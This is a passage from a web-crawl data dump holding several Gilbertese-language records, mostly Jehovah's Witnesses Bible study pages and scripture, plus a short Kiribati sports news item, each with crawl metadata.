n tituaraoi ni kabane, ae Iehova ae te Atua! (Iakobo 1:17) Ko nora naba kakukurein te aeka n anganga anne?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na2-2017-maati\/nora-kakukurei-te-anganga\/","date":"2018-01-18T08:44:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887077.23\/warc\/CC-MAIN-20180118071706-20180118091706-00573.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1811,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A MOANA ukeran te Koroboki ae Tabu n 1870 te kurubu teuana ae uarereke i (Allegheny), Pennsylvania, U.S.A. A kairaki iroun Charles Taze Russell ao a ukeuke ni kaineti ma ana kaboomwi Kristo, ao a waekoa n ataia bwa bon aei raoi boton ana kantaninga Iehova. Ai kukureira ngaiia n ataan ae e a kaukaki te kawai nakon te maiu man te kaboomwi anne, nakoia naba naake a tuai n ongo taekan Iesu! A rotaki iai ao a a kairaki bwa a na kauringa maten Iesu ni katoa ririki.—1 Kor. 11:23-26.\nE teimatoa Brother Russell ni katanoata te maekatin ae te Zion's Watch Tower, are boutokaaki iai te reirei ni kaineti ma te kaboomwi bwa kaotiotani kakawakin ana tangira te Atua. E taekinaki iai Kauringani mateni Kristo bwa \"te bong ae rangi ni kakawaki\" ao a kaumakaki taani wareware bwa a na kauringnga naba i aon Pittsburgh ke ni kurubu aika onoti n taabo riki tabeua. \"E ngae ngke tao e kakawaki ana onimaki ae uoman ke teniman\" ke tii temanna, ma a ataia ae e \"memena irouia te Uea.\"\nA kawara Pittsburgh ni katoa ririki aomata aika bati ibukin te Kauring. E kangai kanoan te beeba ni kakao: \"Ti kukurei ni butimwaeingkami.\" Ni koauana, a anganano Taan Reirei n te Baibara n te aono anne bwa a na kamaekaia ao ni kaamwarakeia tariia n te onimaki. N 1886 ao e waakinaki \"Te Maungatabu\" i nanoni boong aika bati ni bongin te Kauring. E kangai kanoan te maekatin anne: \"Nakomai ma nanom ni koaua ibukin tangiran am Toka ma tarina ao ana koaua.\"\nA a tia Taan Reirei n te Baibara i Pittsburgh n ririki aika bati ni waakini bwabwaro ibukiia naake a onimakina te kaboomwi, ake a a roko n te Kauring. Ngke e a rikirake riki mwaitiia Taan Reirei n te Baibara ao e riki naba anne nakoni botaki ni Kauring ni katobibia te aonnaba. E taekinna Ray Bopp ae kaain te kurubu (ekaretia) mai Chicago bwa n 1910 tabun ao e rangi ni maan kabutani banna ni kauring i buakoia taan roko aika bubua ma bubua, ibukina bwa e kuri n angi mai buakoia bon taani katoongi banna.\nBaikara banna ni kauring ake a kabonganaaki? E ngae ngke e noraki Iesu ni kabongana te wain n Ana Katairiki te Uea, ma e taekinaki naba n te maekatin anne bwa e riai n oneaki mwina n ranin kureebe aika boou ke aika mwai ao ni mwau, bwa a aonga n aki kaririaki naake \"a mamaara ni bwaai n rabwata.\" Ma e ngae n anne, e katauraoaki te wain ibukia naake a iangoia bwa \"e bon riai kabonganaan te wain ae akea te iiti iai.\" A oota imwina Taan Reirei n te Baibara bwa e tei raoi te wain ae uraura ae aki renganaki ibukin raraan Iesu.\nA anganaki aia tai bwa a na kananoi raoi aia iango ni kauringaani maten Iesu. E ngae n anne, e kaotiotaki te nanokawaki n ekaretia tabeua ao ni bwaran te botaki, a bane ni kainabwabu ma n okirikaki. Ma e taekinaki n te boki ae bwain 1934 ae atuna Jehovah bwa e riai ni karaoaki te Kauring, tiaki \"n te nanokawaki\" ibukini maten Iesu ae kammaraki, ma e na karaoaki \"n te kimwareirei\" ibukina ngkai e a tautaeka bwa te Uea n 1914.\nE korakora te bitaki n 1935, are a a rotaki iai taan irira te Kauring ake imwina bwa e a tia ni kamatataaki nanon \"te koraki ae mwaitikurikuri\" n te King James Version ke \"te koraki ae uanao\" n Te Kaotioti 7:9. Ni karokoa te tai aei ao a kinaaki te kurubu aei irouia ana toro Iehova bwa Kristian aika katabui maiuia ake e karako ingaingaia. Ma a ataaki ngkai te koraki aika rangi ni bati bwa taan taromauri aika kakaonimaki, ake a kantaningaa te maiu n te bwaretaiti i aon te aba. N rimwian te kamataata n aei ao imwini karaoan tabeua tutuo iroun temanna ma temanna, e taekina aei Russell Poggensee: \"I aki anganaki kantaningaan te nako karawa iroun Iehova rinanon taamneina ae raoiroi.\" E katoka katoongani banna n ikotaki naba ma aomata aika bati ake a kakaonimaki n ai arona, ma a bon teimatoa n irira te Kauring.\nN te \"bong ae rangi ni kakawaki\" aei, a a karaoaki kaembein aika okoro n te uarongorongo n te aro ae tamaroa ibukia aomata nako bwa kaotiotan aia kakaitau n te kaboomwi. N te Bulletin ae bwain 1932 ao a kaumakaki Kristian bwa a na aki riki bwa \"aomata aika tabu ake a ira te Kauring,\" ake a katoongi banna ma tiaki \"raoi taani mwakuri\" n tataekinan te rongorongo ae koaua. N 1934 ao e taekinaki n te Bulletin bwa a kaoaki \"taan anganano\" man te titiraki aei: \"E kona n reke te mwaiti ae 1,000 taan anganano imwain te Kauring?\" A taekinaki naba iai taani kabiraki ni kangai: \"E kona n tabwanin kimwareireia, tii ngkana a uataboa tataekinan te Tautaeka n Uea.\" Ma e na riki naba anne n te tai ae aki maan nakoia naake a kantaningaa te maiu i aon te aba. *\nBon te bong ae rangi n tabu tairikin te Kauring ae kakaraoaki ni katoa ririki irouia ana aomata Iehova. A kakauringnga e ngae naba n taai ni kangaanga. N 1930, a rianna Pearl English ma tarina ae Ora 80 tabun te kiromita ibukini kaean te Kauring. E korei kario ma anene ibukin te Kauring te mitinare ae Harold King ni kawakinana n te karabuuti i Tiaina, ao e karaoi naba banna ni kauring mani kureebe aika akea koraaia aika roroo ao te raiti. A a tia Kristian aika nanomwaaka mai Meangin Eurobe nako Nukan Amerika nako Aberika, ni kaaitarai baika riki n te buaka ke mwakuri n totoko ibukini kauringaani maten Iesu. N aki ongeia bwa ti mena ia ke tera ae ti rinanona, ma ti bane n ikotaki n te bong ni Kauring ae kakawaki ibukini karinean Iehova ao Iesu Kristo.\n^ bar. 10 E a manga bitaki arana te Bulletin imwina riki bwa te Informant, ae Ara Mwakuri ni Minita.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20150215\/kauring-bong-ae-rangi-ni-kakawaki\/","date":"2018-01-20T14:10:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889617.56\/warc\/CC-MAIN-20180120122736-20180120142736-00001.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":994,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nMaiura ni Kristian ao Ara Mwakuri ni Minita—Te Boki n Reirei\nTe Boki n Reirei ae Maiura ni Kristian ao Ara Mwakuri ni Minita e katauraoa te kaetieti ao baika a na reiakinaki ibukin te wareware n te Baibara n te wiki, ao teuana i buakon aia botaki Ana Tia Kakoaua Iehova ni katoa wiki.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/","date":"2018-01-16T17:29:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886476.31\/warc\/CC-MAIN-20180116164812-20180116184812-00715.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":63,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A anga nanoia ana aomata te Atua ni boutokaa te taromauri ae koaua n aanga aika kakaokoro\nE katauraoi te natannaomata ibukin te Toa ae Umwanrianna ao a bukamaruia n te aro ae eti\nA ikotaki aomata ni katoabong n ongora warekan ana Tua te Atua ao a kimwareirei iai\nA kaotii aia bure aomata, a tataro ao a bubutiia Iehova bwa e na kakabwaiaia\nA kariaia aomata bwa a na teimatoa ni boutokai ni kabane ana babaire te Atua\nAikai aanga ibukini boutokaan ana babaire te Atua:\nTe mare ma tii aika a taromauria Iehova\nTe bwaintangira te mwane\nKawakinan te bongi n Taabati\nKarerekean te aia ibukin te baonikarea\nTe anga moan uaa man te tai ao maan aika karimoa nakon Iehova","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/beberuare-2016-mwb\/kaetieti-ibukin-te-botaki-beb15-21\/taan-taromauri-ni-koaua-babaire-mairoun-te-atua\/","date":"2018-01-18T04:47:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887065.16\/warc\/CC-MAIN-20180118032119-20180118052119-00640.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":124,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.476,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kaania 70 te ririki imwin okia angia tibun Iteraera nako Ierutarem, ma iai naba ake a tiku ni maeka n taabo tabeua n ana aono te Embwaea ni Botia. Temanna i buakoia bon te ibonga ae Etira, are e angareirei n Ana Tua Iehova. E ataia Etira ae a aikoa toua mwin te Tua aomata ake i Ierutarem, ao e tangiria ni kawariia ao ni buokiia. E taku Ueani Botia ae Atatokititi nakon teuaei: 'E kawanawanako te Atua bwa ko aonga n angareirei n ana Tua. Naako ao kaira ane e kan iriko.' E kaitiboo Etira ma aomata ake a kan oki nako Ierutarem, ao a tataro nakon Iehova bwa e na kamanoia i aoni kawaia ae abwabwaki, ao a a mwananga.\nAua te namwakaina imwina ao a a roko i Ierutarem. A taku tooka nakon Etira: 'A aki ongeaba tibun Iteraera iroun Iehova ao a mare ma aine aika taromaurii atua aika kewe.' Tera are e karaoia Etira? E katorobubua i mataia aomata ao e tataro ni kangai: 'Iehova, a rangi ni bati baika ko a tia ni karaoi ibukira, ma ti bure nakoim.' A rairi nanoia aomata ma a bon teimatoa naba ni karaoi kairua. E rineiia unimwaane ao taani moti Etira bwa a na neneri taekani baikai. Ma i nanon namwakaina aika tenua ake imwina, a a kanakoaki naake a aki taromauria Iehova.\nE a nako tebwi ma uoua te ririki, ao n te tai anne, e a manga kateaki oon Ierutarem. Ngaia are e ikotiia aomata Etira n te marae bwa e na wareka Ana Tua te Atua nakoia. Ngke e kauka te boki Etira ao a bane n teirake aomata. E karaoiroa Iehova teuaei ao a tabekirake baia aomata ni kaotia ae a nanoteuana iai. Imwina e wareka te Tua Etira ma ni kabwarabwaraa, ao a kakauongo raoi aomata. A kaotiia bwa a a tia ni manga kitana Iehova ao a tang. N te bong are imwina, ao Etira e a manga wareki riki nakoia baika bati man te Tua. A a ota bwa e a kaan te tai ae a riai ni bukamarua iai te Toa ae Umwanrianna. N te tai naba arei ao a moana aia katauraoi ibukin te toa.\nA kimwareirei aomata ni bongin te toa ake itibong, ao a karabwaa Iehova ibukin te uaa ae bati. Akea te Toa ae Umwanrianna ae aron aei, ae e a tia ni karaoaki mai mwaina ni moa man ana tai Iotua. Imwin te toa, a ikotaki aomata ao a tataro ni kangai: 'Iehova, ko a tia ni kamaiuira man te tautoronaki, ko kaamwarakeira n te rereua, ao ko anganira te aba ae tamaroa aei. Ma ti okioki n aki ongeaba iroum. Ko kanakoia burabeti bwa a na anga te kauring nakoira ma ti aki kan ongo. Ma ko bon teimatoa naba n taotaona nanom. Ko kawakina am berita nakon Aberaam, ao ngkai ti berita bwa ti na ongeaba iroum.' A korei aia berita, ao tooka, tibun Rewi, ao ibonga, a kanikinaea.\n\"A kukurei riki te koraki ake a ongo ana taeka te Atua ma n toua mwina!\"—Ruka 11:28","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/10\/e-angareirei-etira-n-ana-tua-te-atua\/","date":"2018-01-21T21:29:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890874.84\/warc\/CC-MAIN-20180121195145-20180121215145-00662.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":513,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n9 Tiaki I inaomata ni karaoa ae I tangiria? Tiaki bon te abotoro ngai? Tiaki I a tia n nora Iesu ae ara Uea?+ Tiaki bon uaan au mwakuri ngkami i nanon te Uea? 2 Ngkana tiaki te abotoro ngai ibukia ake tabemwaang, ma bon te abotoro raoi ngai ibukimi! Bwa bon te bwai ni kanikina ngkami ae kakoauaa nakoau n abotoro i nanon te Uea. 3 Aio kaekaani bukinau nakoia ake a motika taekau: 4 Tiaki iai inaomatara* n amwarake ao ni moi? 5 Tiaki iai inaomatara ni mare ma te aine+ ae te Kristian ao ni kairia ni mwanangara, n aroia abotoro ake tabemwaang, ma tarin+ nako ara Uea, ao Keba?*+ 6 Ke tii ngai ma Barenaba+ ae akea inaomatara ni katoka ara mwakuri ibukini karekeani booni maiura? 7 Te tautia raa ae e tabeakina ana kabanemwane i bon irouna? Antai ae ununiki n te nne ni kureebe ao e aki kang uaana?+ Ke antai ae kawakina te nanai ni man ao e aki moi teutana naba n rannimamman te nanai? 8 I taekini baikai n te iango n aomata? Tiaki a taekinaki naba baikai n te Tua? 9 Bwa e koreaki ae kangai n te Tua Rinanoni Mote: \"Ko na aki kabaea win te kao mwaane ngkana e toutoua te uita ni kaaki kunna.\"+ E tabeakinia kaao mwaane te Atua? 10 Ke e bon taekina aei ibukira ni kabane? E boni koreaki ibukira, ibukina bwa te aomata are kamaraua te tano, e kantaningaia bwa e na karekea teutana te uita, ao te aomata are kaaki kunin te uita e karaoia naba ma kantaningaan ae e na reke tibwangana iai. 11 Ngkana ti a tia n uniki i buakomi, baike a reke mairoun te Atua, e na rangi n riao ngkana ti taia bwain te rabwata mairoumi?+ 12 Ngkana iai inaomataia aomata tabemwaang ni karaoa anne nakoimi, ao tiaki ti inaomata riki ngaira? Ma e ngae n anne, ti aki kabongana inaomatara* aei,+ ma ti taotaon nanora nakoni bwaai ni kabane bwa ti aonga n aki kauekea totokoan te rongorongo ae raoiroi ae taekan te Kristo.+ 13 Kam aki ataia ae aomata ake a karaoi mwakuri aika tabu, a kang amwarake ake n te tembora, ao ake a mwamwakuri n te baonikarea, a karekei naba tibwangaia man te baonikarea?+ 14 Ao ai arona naba, bwa e tua te Uea bwa ake a tataekina te rongorongo ae raoiroi, a na maiu naba man te rongorongo ae raoiroi.+ 15 Ma I tuai mani kabongana te bwai teuana mai buakoni baikai.+ Ni koauana, I aki korei baikai bwa a aonga ni karekeaki baikai nakoiu, bwa e raoiroi riki mateu nakon—akea temanna ae e na anaa te baere I kamoamoa iai!+ 16 Ao ngkana I tataekina te rongorongo ae raoiroi, ao akea bukina ae N na kamoamoa iai, bwa I kabaeaki bwa N na karaoia. Ni koauana, I kaawa ngkana I aki tataekina te rongorongo ae raoiroi!+ 17 Bwa ngkana I anga nanou bwa N na karaoia, ao iai kaniwangau. Ma ngkana I ekaanako nanou ni karaoia, ao bon tii te arona naba, bwa iai te mwioko are I anganaki.+ 18 Tera ngkanne kaniwangau? Bwa ngkana I tataekina te rongorongo ae raoiroi ao I anganako te rongorongo ae raoiroi n akea boona, bwa I aonga n aki kabongana buaka inaomatau* ni kaineti ma te rongorongo ae raoiroi. 19 Bwa e ngae ngke I aki bae iroun te aomata temanna, ma I a tia ni karaoai bwa te toro nakoia aomata ni kabane, bwa I aonga n anai nanoia aomata aika bati. 20 I riki bwa te I-Iutaia nakoia I-Iutaia bwa I aonga n anai nanoia I-Iutaia.+ I riki bwa ai aron ae I mena i aan te tua nakoia ake a mena i aan te tua, e ngae ngke I aki mena i aan te tua, bwa I aonga n anai nanoia ake a mena i aan te tua.+ 21 I riki bwa ai aron ae akea te tua irou nakoia ake akea te tua irouia, e ngae ngke I ira ana tua te Atua ao I mena i aan ana tua Kristo,+ bwa I aonga n anai nanoia ake akea te tua irouia. 22 I riki bwa te aomata ae mamaara nakoia ake a mamaara,+ bwa I aonga n anai nanoia ake a mamaara. I riki bwa bwaai ni kabane nakoia aomata n aekaia nako, bwa I aonga ni kabonganai aanga nako ni kamaiuia tabeman iai. 23 Ma I karaoi bwaai ni kabane ibukin te rongorongo ae raoiroi, bwa I aonga n tibwatibwaia nakoia aomata.+ 24 Kam aki ataia ae a bane ni biri taan ira te kabobirimwaaka, ma tii temanna ae karekea kaniwangana? Kam na biri n te aro ae kam na karekea iai te kaniwanga.+ 25 A bane aomata ake a ira te kaboo* ni bwaina te taubaang ni bwaai ni kabane. Ni koauana, a karaoa anne ibukini karekean te baunuea ae kona ni mauna,+ ma ngaira, ibukin te baunuea ae aki kona ni mauna.+ 26 Mangaia ae arou ni biribiri, tiaki n aron ae e aki ataaki mwina,+ ao I itau tiaki n aron ae I orea te ea, 27 ma I kammaraka* rabwatau+ ao I kaaunganna bwa I kaawa n aki tau i matan te Atua, ngkai I a tia n uarongorongo nakoia aomata.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-i-korinto\/9\/","date":"2018-01-19T21:55:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084888135.38\/warc\/CC-MAIN-20180119204427-20180119224427-00098.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":884,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.437,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A BWABETITO TAAN RIMWIN IESU\nE KAMATAWARIKAKI IOANE TE TIA BWABETITO\nE kitana Ierutarem Iesu ma taan rimwina imwini bukamaruan te Toa ae te Riao n tain te abue n 30 C.E. E ngae n anne a aki okiri mwengaia i Kariraia ma a nako Iutaia ike a bwabetitoiia iai aomata aika bati. E karaoa naba anne Ioane te tia Bwabetito i nanon tao teuana te ririki ao bon iai naba taan rimwina tabeman ake raona tao i rarikin te Karaanga are Ioretan.\nE aki karaoa te bwabetito Iesu ma a bwabetito taan rimwina i aan ana kairiri. N ana mwakuri ni minita Iesu, e uaia n angareirei ma Ioane ao a bwabetitoiia I-Iutaia ake a rairi nanoia man aia bure n riaoan ana berita n Tua te Atua.—Mwakuri 19:4.\nMa a bakantang taan rimwin Ioane ao a kauntaeka ibukin Iesu ni kangai: \"Teuare raom [Iesu] . . . e a karaoa te bwabetito ao a a bane ni kawaria te koraki.\" (Ioane 3:26) Ma e bon aki bakantang Ioane. E kimwareirei n nakoraoin ana mwakuri Iesu ao e tangiriia taan rimwina bwa a na kimwareirei naba. E kauringia ni kangai: \"Boni ngkami taani kakoauaai bwa I a tia ni kangai, 'Tiaki ngai te Kristo, ma I kanakoaki n rimoana.'\" E kaikonaka te iango anne bwa a aonga ni bane n ota iai ni kangai: \"Ane e mena irouna te tia mare te aine, ao boni ngaia te tia mare te mwaane. Ma ngkana e tei raoraon te tia mare te mwaane i rarikina ma n ongora irouna, ao e korakora kimwareireina ni bwanaan te tia mare te mwaane. Ngaia ae e kororaoi naba iai kimwareireiu.\"—Ioane 3:28, 29.\nE kimwareirei n namwakaina ake mai mwaina Ioane are raoraon te tia mare te mwaane ngke e kaotiia taan rimwina nakon Iesu. A a riki bwa taan rimwin Iesu tabeman mai buakoia are a na kabiraki imwina riki n te taamnei ae raoiroi. E tangiria naba Ioane bwa a na manga rimwin Iesu taan rimwina. Ana mwakuri Ioane boni katauraoan te kawai ibukin ana mwakuri ni minita Kristo. E kabwarabwaraa Ioane ni kangai: \"E riai n ririkirake riki teuaei, ma I riai ni kekerikaaki ngai.\"—Ioane 3:30.\nE koreia Ioane are temanna are e moan riki bwa te tia irira Iesu ngke e taekina rikian ao mwiokoan Iesu ae kakawaki ni kamaiuaia aomata ni kangai: \"E mena i aoia aomata ni kabane teuare roko mai eta. . . . Ao te Tama e tangira te Nati, ao e anga bwaai ni kabane nako nanoni baina. Ane e onimakina te Nati ao e a reke irouna te maiu are aki toki, ma ane e aki ira nanon te Nati, e na aki reke irouna te maiu ma e na memena i aona unin te Atua.\" (Ioane 3:31, 35, 36) Ai kakawakira ataakin te koaua aei irouia aomata!\nE aki maan imwin ana maroro Ioane te tia Bwabetito ibukin riaina ni kerikaaki mani mwiokoana ao ana mwakuri, ao e a kamatawarikaki iroun te Uea are Erote. E a tia Erote n anaa Eroria are buun ai tarina are Biribo ni mare ma ngaia. E kamatawarikaki Ioane iroun Erote ngke e kaotaraea ana mwakuri ni wene ni kimoa teuaei. Ngke e a ataia Iesu bwa e kamatawarikaki Ioane, e a kitana Iutaia ma taan rimwina ao a \"mwaing nako Kariraia.\"—Mataio 4:12; Mareko 1:14.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/moanakin-mwakuri-ni-minita\/ioane-te-tia-bwabetito-kekerikaaki\/","date":"2018-01-19T08:42:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887832.51\/warc\/CC-MAIN-20180119065719-20180119085719-00581.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":540,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.406,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A kabutaanako te rongorongo ae raoiroi ae taekan te Tautaeka n Uea Kristian ake rimoa, nako tabon aonnaba. E anga te kairiri nakoia Iesu ibukin te tabo are a na uarongorongo iai, ao e buokiia rinanon te kakai bwa a na reireinia aomata n oin aia taetae. E angania Iehova te ninikoria ao te mwaaka bwa a na tokanikai i aoni bwainikirinaia aika korakora.\nE anga Iesu te miitara nakon te abotoro Ioane ae kaota mimitongin Iehova. N te miitara riki teuana, e nora Ioane te Tautaeka n Uea ae bwaini karawa ni kataenikaia Tatan ao ni katoka ana waaki n tautaeka n aki toki. Ao Ioane e nora Iesu n tautaeka bwa te Uea ma raona ake 144,000. E nora naba Ioane te aonnaba ni kabutaa ae e a riki bwa te bwaretaiti, ike a a bane iai aomata n taromauria Iehova ma te rau ao te katiteuanaaki.\nN TE MWAKORO AEI\nREIREI 94\nTera te kakai ae a kona ni karaoia ae a anganaki rinanon te taamnei ae raoiroi?\nREIREI 95\nMataniwi n Aaro ake a a tia n tiringa Iesu a a kataia ngkai ni kaini wia taan rimwin Iesu. Ma a aki kona.\nREIREI 96\nTauro bon te tia kairiribai ae iowawa nakoia Kristian, ma e nang bitaki.\nREIREI 97\nE aera te Atua ngke e kanakoa Betero nakon ana auti te mwaane aei, ae tiaki te I-Iutaia?\nREIREI 98\nA moana aia mwakuri n uarongorongo te abotoro Bauro ma raona ni mitinare n aaba aika raroanako.\nREIREI 99\nA kangaa n taekinaki te taimonio, te mwaeiei, ao te kabaang n te karaki aei?\nREIREI 100\nA kaai ni mwakuri bwa raao ao tooro i nanon ririki aika bati.\nREIREI 101\nE rangi ni bati te kangaanga n te mwananga, ma akea te bwai ae kona ni kamamaraa te abotoro aei.\nREIREI 102\nE anganna Iesu miitara teuana imwin teuana ibukin taai ake a na roko.\nREIREI 103\nE kaotaki n Te Kaotioti are e anganaki Ioane aron Ana Tautaeka n Uea te Atua ni bita te maiu i aon te aba.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/14\/","date":"2018-01-19T14:16:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887981.42\/warc\/CC-MAIN-20180119125144-20180119145144-00673.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":335,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngke a a roko tibun Iteraera n te Aba ni Berita, e a riki te umwanrianna ae tabu bwa nibwan te taromauri ae koaua. A angareirei n te Tua ibonga, ao a kaira te natannaomata taani motikitaeka. E kaotaki raoi n te mwakoro aei bwa a kona n rotaki aomata n aia motinnano ao aia mwakuri tabemwaang. Iai tabeia tibun Iteraera n tatabemania nako, ni kaineti ma Iehova ao raoia n aomata. Katuruturua aron rotakia tabemwaang iroun Tebora, Naomi, Iotua, Anna, natin Iebeta te aine, ao Tamuera. Kabwarabwaraa naba ae iai aomata tabeman ake tiaki tibun Iteraera n aron Raaba, Ruta, Iaera, ao kaaini Kibeon, ake a motikia bwa a na tei n aia itera tibun Iteraera, bwa a ataia ae e memena te Atua irouia.\nN TE MWAKORO AEI\nREIREI 29\nE anga te Atua kaetieti nakon Iotua aika kona naba ni buokira ni boong aikai.\nREIREI 30\nA bwaka oon Ieriko. Ma e aki bwaka ana auti Raaba, e ngae ngke e kateaki i aon te oo.\nREIREI 31\nE tataro Iotua nakon te Atua ni kangai: \"Taai, Teei!\" E kaekaa te Atua?\nREIREI 32\nImwini maten Iotua, a a taromaurii bouannanti tibun Iteraera. E rawawata te maiu ma e roko te ibuobuoki rinanon te Tia Moti are Bwaraka, Tebora ae te burabeti n aine, ao Iaera ma kain rooan ana umwanrianna!\nREIREI 33\nA okira Iteraera uoman aine ake a a tia ni mate buuia. Temanna mai buakoia bon Ruta, are e nako n rikoriko n te tawaana, ao e a noraki naba irouni Boati.\nREIREI 34\nImwini karawawataaia tibun Iteraera irouia tibuni Mirian, a a bubutiia Iehova bwa e na buokiia. A kangaa n tokanikai ana taanga ni buaka ae uarereke Kiteon i aoia tautia ake taani kairiribai aika 135,000?\nREIREI 35\nErekana e kairiia Anna, Beninna, ao natina nakon te umwanrianna ae tabu i Tiro bwa a na taromauri iai. Ikanne are e a tataro iai Anna bwa e na reke natina te mwaane. Teuana te ririki imwin anne, e a bungiaki Tamuera!\nREIREI 36\nTera ana berita Iebeta are karaoia ao bukin tera? Tera aron natin Iebeta ni kaineti ma ana berita tamana?\nREIREI 37\nA beku bwa ibonga n te umwanrianna ae tabu uoman natin te Ibonga ae Rietata ae Eri, ma a aki ongeaba n ana tua te Atua. E kaokoro Tamuera ae te teei, ao e taetae nakoina Iehova.\nREIREI 38\nE Kakorakoraaki Tamton ae te Natiraite iroun te Atua ibukini buakanakia kaaini Biritia, ma ibukina bwa e karaoa ana motinnano ae kairua, e a tauaki irouia kaaini Biritia.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/6\/","date":"2018-01-17T18:32:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886952.14\/warc\/CC-MAIN-20180117173312-20180117193312-00292.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":417,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"By online editor\nE tei te rekoti ae boou mwin te nako n te takakaro I Ashgabat I Turkmenistan n te takakaro ae te KAA iaon te kiba iroun Lataisi Mwea.\nN okia taan takaakro ma I Kiribati ake a nako ni kaea te runga n takakaro n te aonno n Atia ae Ashakabhat Turkmenistan ao Lataisi Mwea n te karinan u17 e urua te rekoti iaon Kiribati are e tei iroun David Pita Birati n te u18.\nE kakawaki irouia kaain Kiribati bwa ana katei aia rekoti aika a boou ni kaean kabo itinanikun Kiribati e ngae ngke aki reke kanuangaia n aia kabo are a nako iai. E taekinna temanna te 